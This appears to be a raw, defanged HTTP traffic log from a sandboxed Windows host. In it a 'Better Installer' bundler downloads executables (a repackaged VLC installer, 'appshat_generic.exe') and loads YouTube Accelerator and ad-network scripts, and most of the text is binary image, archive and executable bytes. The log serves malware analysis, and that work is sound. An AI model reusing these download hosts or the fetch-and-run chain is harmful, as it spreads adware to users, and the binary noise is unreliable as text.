User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive





..<.C...l...;.......gZ.,..6...K..tl.l.....0....4@[{[email protected]...
[email protected]_..g...p......:. .r...[..N.4..._.. ..;...=.4yvkNV..4...|..b.
...98..EX...^..G..:....C8$.. .J....=.......C....{5..m*`...9....(....h.
.7[9(.. ./.pp.{;...(.=..'......ec*[email protected]...@w?3.C.....&.....t.eI.H./o.
RL .!..^} ...~..ni..F.@..:B....!.>A...n[.....C.l......{.....?...JX.
...3V..G..6.....Z.....E1`........P.:.....i.........P} .Xt.............
.y. %.]y.J...T.._.....mEpW..p...rP..A.Er..g.......Rl.....i.sEp.L..&<
;.A.../>.F*..<....L...U..i..b@!..O~........|.'g...R....J...D....
@q..r^rOq.....`"........"........*.....=.P.........C........1. ......9
[email protected].. .....d.FFK..../..j...)... ./..K.8.....>
;]....~...d@....*... .....Q..X...jW.......(3}....J]zk.Tx.... .RE.Z..."
..Hd?<.=6..6.s..Y:.-/.MT!`5U........=.h.....`!o..B..<....25.((..
..@rK`w......qh.......H.#[email protected]... ..Xiw.....4yv.g. ..Y.L
....".J.%p..O94..F..>....`. .L.|[email protected]<y...!..B...
g..0H..9..h......Y......[?..3 ../.)...-.1..s._..(....0...3.......<.
..|.../~............N........%Pw..:......6...LV.H.@6..".....o.U...*.]U
..r...U.Tt...B..?z...Ld.... .......v.2..#..=...7T.oiY..&..FL.l9.%.H...
'e.k.z......k&...z5pm.j..).)[email protected],.....
............N.....f..v.$..n..(.@x;..9:.... .m.E..\1...I...h.Q..p }.{'@
.w..u..>......l)..1.C.|:....I....H........A..EG.#.B.....S.%....@...
e.........OZ.,.$fm.C....v<c.........x..v..<[email protected]'...A.....j.
Chb...g.pH..Q..=J...."*.,.W..6m..A...3....CB..#J..J..K....|`.....M
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/f/3/78x78xf3ad8b396434c21b4c214fd667ee391d.png.pagespeed.ic.UE0vLEh6vWiEUEcOgEs3.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive



GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/a/6/78x78xa64a4b5c68c364d30083fbd0b0363585.png.pagespeed.ic.T0d2UyMfzUSQwDaDnzgL.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive





3..U.4..W.\o.$..U9 ......y..Y..M<.(..(...8.....J....HP.c.........xa
[email protected]..._^.-N....YK??5....l.}.}.f.f&...Ea....s..`.
p...xr...B.g......9a.{..h....l..J7.l./V.........v..F{.........y...~3..
..j.......{..^.../.............m..j  I...G...S....X..nR..t~..f..f...(.
S.z#.F?{%........4@$...KN..Q.#{-3y.Nq.......h....s.6.?...n;.OV...w..T 
[email protected].(!.............Z.I....m..8. .....p.b.A{.......4w.
2...o..~WM.^.f..L.=f....7....v._._..WX..W..{../.Y....N...U8...z...'...
...'EA.}.....p..u.....5.=r....E........b....Z....N..........E.........
..0..1...l.............y........r.?f[lWG.(.....Q.*_...Wq..0..5.8".$.?.
.(....h.q...(;('6.J.5.4.......u.l.......i8z-7).t.......Xu..^..S.F....%
6u4..........h..f..:..X}...5...^#`....u...#..Al=..E......l)....d.B WX0
s....B 7..1.$..$.6.4\....dl,.....I2s......L$".:0..a....#...-Z'.=o...s#
....!.;...S....0] u...uz<1`.....T......I\.0E..-K.......... b...Y[PM
...^...w..{...... ...<.....QPj$(.R..K)[email protected]
f.G.-.sN:..%..._y.y)[email protected].(.y...X<9..K.....o..
S-{F.9..x.K........g=...0 .l...?....a...._...m....d..rc.....O.....E...
....k....c....7......y3.YQ.ny6<.........8....<..6.......f..2._..
?......X...d....05W...A*.~1;...D.....W....q.\(.Qv6.._........6...Q..{o
mW.Xe..P..U)x.0...C........e.-...tW.[J..."............6@.(..Z.(:.:..4.
.}.)8`.6.a..D.........P.P...q.......Qj.G..{.<.....bI.6(h......Vv.F.
.....r.u./.P...u.~[..,..X./........Tz....Wup.U....6........t\Bo..."..7
.M....ql....Fi..bTF...Zh..6....Y.(.v..{.I.{}S?b`e:..DQOZ.x.G..}.[.
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/d/5/78x78xd586df222f5069b6c396373d67d0163b.png.pagespeed.ic.ydkvzRjn2dlJvFiaNZe1.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 15:55:30 GMT

Expires: Sat, 12 Dec 2015 19:03:25 GMT

ETag: W/"0"

Last-Modified: Fri, 12 Dec 2014 19:03:25 GMT

X-Original-Content-Length: 389080

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Age: 3137

Cache-Control: max-age=31536000

Content-Length: 376896

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR..............x.... .IDATx...i.m[v.......9...^U.W.....
qKc..v...&-., .,A....."[email protected]......;)A1(...t6....q....l.]v.^...{.9g..
..s.~...f.sn..^....{....c.o|.7....PDH......F`..f...@.:.............k..
.........}.{..>..u..c.;....k!..rA._........T..P......|%..b.5....*3.
..#./.P.L..........{....ZI.."hE "....0{..7l......S..P?:N...g-... ..u..
......J.@i.'.ver_B..../.....8>......~...X...3 B|...T\...C...Y.2....
H.U......sX{.....2.o..!pu...].'........5..... .uQ....Y......A~>....
...f......{<.3{.......s.(........k........"g..G.. .RtMD.@ .g.n.z...
.......,....g..... 4..9......s0..t.sX.d..J..Sj........Z.G..t.~gva..G1.
.Q.H~v(...j.:f.5-....~pu..k..............$F.....g .......7....|.._....
4~.C...|.r..."J.........&-^.....-!...H...s..*.g...V.v...Z..bQ}_..N....
.1%r...'...=.w.8l%...^o.....RN|.....f=.>?..\..>(..f..=....x.....
.._.>..I.J.B.X.....j...<..\.tf.5q.(.......W.Ik..f....\.K gv[.p.X
.T$...|...9S.<..D...b=..`.E.B.W..rN...r...3.qJ ...}VU.od.W..E.....@
.Y..~.!wg...$7.i..)..jO.....q6...\...t.....L......T..... ..bu.....y.P*
...9...o7A.9.x%.......u......$...|..?...q"....h....l..0..S..%.5M....[R
jv...B~&9A...................i.^Z>....l.j3g^V....50....-.......o...
"^<..zr2..h.......n.....5.....<.<..9........O...k,...>.{|.
y.A.E3..rn.B...T .@..$..a_.;.m..K...Ili.b.'%..6..\.`%.*....P..... ....
.L...... &.X..9!%..r......b.\.N..NB..P..........~....]@..{y..E!.u..XH$
..bO......#...Wt..../P[..u.../.......hV. .......P.A=.N..n}@..$.k.r.m#\
.....b.........._Yo*Z...,..}.{di.......J^|..B..s.9..q....J..,....{
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/d/d/78x78xddb3b88cf98eb0220c9e6c252e376749.png.pagespeed.ic.HIjFfmSXODkOzvpOncCx.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 16:19:47 GMT

Expires: Fri, 04 Dec 2015 20:15:06 GMT

ETag: W/"0"

Last-Modified: Thu, 04 Dec 2014 20:15:06 GMT

X-Original-Content-Length: 217582

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 216975

Age: 1680

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR..............x.... .IDATx.....%Uu-~.....4.-.2..5 ...(
*Fh.D.(&.......%.D3......5F.>.8..gP!......TPf.Af.z...n..3.S...N....
..[....{k8g.k..v......czL..1=...[G=...czL..1=..4....czL..1=..4....czL.
.1=..4....czL..1=..4....czL..1=..4....czL..1=..4....czL..1=..4....czL.
.1=..4....czL..1=..4....czL..1=...x...o.v.Zs.m...............tm.W.==..
....I...{.......{...f.k<.M..a%.G...q..MUU.\..z.js........S..7...k..
.........k......].........Lo......~8...7.....;....u{....u}..!.........
[.....o.-[.............1.{.......3.....{m1.E.czL.....~!.....c..5.9..{]
....^Wv._..az.O..}..S....6._....^.w..........L..1=./9F.....s.z....ug..
.{}.{...._..az<.Q.....Up.O.^ ......fJ....cz..i...^O./{..^..^gt..u..
M..i..9...;.{.....^.._....czL.......#.^..n...)!(.xz.....~XF.S........1
.[2=......},.^.....u^..b.:..R...T..K@./vX...y.....r.[.........a..C....
.a..f.n.3tzL..1=.........{= .,....>..N._7M..... ....}H...>.z@...
..6..?h..u.._.....>..N...O..`...........}.............[.U.^[email protected]
......}....u..s....>f..........O.._o.-K..E`?[^.....{...z...s....9_O
e.FuO5.];..(lE........s............9...um.z...L...}v.....7.V...[.3...%
g(..._i.J.7.>......2...>{...v.?4...wme.{../X.`p.Y{#...a....uUw._
8...?w.i.....o..s~`..{O...9.Q.......Mnl......S...{Z..{.m.k...$e.{.Mw.:
gRE.b.J..).`.....w...w.q..7).`h..L..K..... .7......I.....E.o..7.\.s...
.?k.C..VZ............L=.<n..-=....`.}.yu.y{........-.4....5k.......
.6w.qG.= .d..=/{..=.5.s.=.:%x..M._..4`.Q..s..~6...\.!n.... ..#...u3...
A.E}...YU........:......p..x..}....... .F.Aj.-..}v.8.{$.%/...:.N..
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/b/1/78x78xb147a5a09b49b133d347bd975a4c5616.png.pagespeed.ic.QXzy6NzFeIJWnFBIEjZR.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 16:04:03 GMT

Expires: Fri, 04 Dec 2015 20:15:03 GMT

ETag: W/"0"

Last-Modified: Thu, 04 Dec 2014 20:15:03 GMT

X-Original-Content-Length: 30650

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 29717

Age: 2625

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR..............x.... .IDATx......gy..V.9....R......W.e.
`cc[...x.....;.Lx..<.M&.wH...$..%.&y.......c..e.m.... .........V...
....[R/U....r.[m............,......Q.\.._6...................E~.......
... ......>...P........b..e......z.L...........?7...9..s....~.U-.s.
....`[email protected]...@........{...s...1...Q=.j..{..i.
@..........@p._............ ..3.J.].....>...{.E@1/......r.......>
;.8..s.Q`........;..o.s........n.X........[...........X{... ..L...L...
...'......z............9i.ma....(.D.|u....w.....5.y..M.......c......Y.
..nP*oX.&...............Y..RS(.S.W........c..?...~.;}/??l.jV.9.k!.....
...Z......:*...eG......a...>.W..tN...N.Y.fr......-..........f....W.
U.Kh.X.QM\..i.N.|.......k......3....|..`...8...w........n.x......U...?
...H&O.........8;AP.SiuE...1....f.G.....~./.....`.9...W..k..,..w......
W.T..........b...l......0.......)B.4UZB.*....9...?....f.g._I.<.AO..
..c.......}...?Y..n.......l..5j..{.st.2.,.......,....|.iks.6......U...
t......Bnj"....2.sL.V.. .v...dG,Y]{..~....Z....40....v.....R.....i....
.......wo.}..}F>g.......y-*...7........._..........J.."Af?.........
..XB.'.V.t......O|{?.~.....A..M..K....j..~.C....3..q......X.....o.....
....:8.......@E......;..m..E@........?.l>..,.............3[.l2...F.
.{"`......j..@..?.......75..e5..Y.........`f..Mf...h.....jTx.OA.......
. n.....U....D....... .......e.-..l.g............[A$..|.NU.b...Y.....X
y.Mf...hf.....i.0>...b.....RYU.k.p....y..?.....tY.......l6.C..D.R(.
0.......;.x...........BENn...f6...W.H.`0.....b.{.c][email protected]
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/images/logo_illust.jpg.pagespeed.ce.z1_aG_Fc9E2Du85_fGKz.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/jpeg

Date: Wed, 17 Dec 2014 16:20:59 GMT

Expires: Tue, 15 Dec 2015 19:19:33 GMT

ETag: W/"0"

Last-Modified: Mon, 15 Dec 2014 19:19:33 GMT

X-Original-Content-Length: 6413

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 6413

Age: 1609

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:3D956397C78E11E29647DC152D3137BE" xmpMM:Documen
tID="xmp.did:3D956398C78E11E29647DC152D3137BE"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:3D956395C78E11E29647DC152D3137BE" stRef:d
ocumentID="xmp.did:3D956396C78E11E29647DC152D3137BE"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
..................../.3...............................................
...............................!.1..A.Qa"q..2....B#...R..3C..br.....Ss
D%E...............................?..-.@#X.Pu4..yV.`[email protected]
...,A...p<.....R..u.A0.`..>.........{cJ.ebIc>.A.2>...dN...
x........#a..... ...`A.L.u_e.....$.....v.........}.cQ..J.......K-..../
..`...t$.....UIT.Qa>T....C..Q...h..R<....M.c.IX...11.....]....t 
..yPJd...I..H..@(.b.$.w....@n..=U.&:G.....7...{.Q@[D.5.u.SA8..m...
<<< skipped >>>


GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:42:32 GMT

Content-Type: application/octet-stream

Content-Length: 22630361

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
..........^...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected]...@[email protected]
rc....^.......`...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=107085-

User-Agent: Better Installer(Mozilla)

Host: d3ddmpeszwup8l.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 178473

Connection: keep-alive

Date: Sun, 14 Dec 2014 04:56:58 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 107085-285557/285558

Age: 1399

X-Cache: Hit from cloudfront

Via: 1.1 b9e26169e235acb41e173f2870b3e2c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7plOLoice3UhGN5AS4hAfOfJCI6S31ERa8KqHPnZqtCmGIAykIgTSw==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].
<<< skipped >>>


GET /res/helper.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:44:56 GMT

Content-Type: application/x-javascript; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: public, max-age=3600, s-maxage=31536000

Expires: Wed, 17 Dec 2014 16:58:43 GMT

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\[email protected]...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...=-..(z.O[I9x.....g..0...H.;...m...9N..,A>....[.....]9.".q.Q|.&
lt;..f.:.Lzuj..fj*......5.........9`..AG.|...BW...V...6.9kD.7....\....
.ax?.$C.4.k.../.Uhe..z.;Z]O'.fc..<.....V.i~xx....Q{...Y~q.N../!...K
i....&......I.}.ZmM..4...r`.&..D...3_9..h?.....R.A)....U.l......f....r
~.<.-..T.....2.%..R..S..y!.=_...4Z.>.Q.r.......e6R=.......h.i..V
...1..m.v .....;.G8..cp0,E#.....o_f.o.....^w......F.S...&_.}.$....
<<< skipped >>>

GET /res/beat/204/xdmframe.htm?xdm_e=http://VVV.youtubeaccelerator.com&xdm_c=default2641&xdm_p=1 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:44:58 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Sun, 23 Nov 2014 15:58:47 GMT

ETag: W/"b24bcc5d367d01:0"

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
9c............-.... .E....8.....@.>..p..[b.PK`"...qu&g.........va=M
...e!K.}..=.; ..y....p'..T2....e.$.dM#...........d...?.Z`....F......K%
..S>.n.....w../".........0..HTTP/1.1 200 OK..Date: Wed, 17 Dec 2014
 16:44:58 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Co
nnection: keep-alive..Last-Modified: Sun, 23 Nov 2014 15:58:47 GMT..ET
ag: W/"b24bcc5d367d01:0"..X-Powered-By: ASP.NET..Server: NetDNA-cache/
2.2..X-Cache: HIT..Content-Encoding: gzip..9c............-.... .E....8
.....@.>..p..[b.PK`"...qu&g.........va=M...e!K.}..=.; ..y....p'..T2
....e.$.dM#...........d...?.Z`....F......K%..S>.n.....w../"........
.0......


GET /res/beat/204/Beat.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://VVV.youtubeaccelerator.com&xdm_c=default2641&xdm_p=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:44:58 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Sun, 23 Nov 2014 15:58:52 GMT

ETag: W/"eab48060367d01:0"

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\[email protected]...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...=-..(z.O[I9x.....g..0...H.;...m...9N..,A>....[.....]9.".q.Q|.&
lt;..f.:.Lzuj..fj*......5.........9`..AG.|...BW...V...6.9kD.7....\....
.ax?.$C.4.k.../.Uhe..z.;Z]O'.fc..<.....V.i~xx....Q{...Y~q.N../!...K
i....&......I.}.ZmM..4...r`.&..D...3_9..h?.....R.A)....U.l......f....r
~.<.-..T.....2.%..R..S..y!.=_...4Z.>.Q.r.......e6R=.......h.i..V
...1..m.v .....;.G8..cp0,E#.....o_f.o.....^w......F.S...&_.}.$....
<<< skipped >>>


GET /script/14567725608/preload.js?subid=ECHwsmtycl1-eb48a9ab-49f6-4199-935d-4935ca672341 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: cdn.visadd.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:44:57 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=db3f9e762d36c958a6e7463fa0cf3db431418834697; expires=Thu, 17-Dec-15 16:44:57 GMT; path=/; domain=.visadd.com; HttpOnly

Etag: W/"e939ac860d04ff879e4eefc1233b2b9483c31905"

Cache-Control: public, max-age=14400

CF-Cache-Status: MISS

Expires: Wed, 17 Dec 2014 20:44:57 GMT
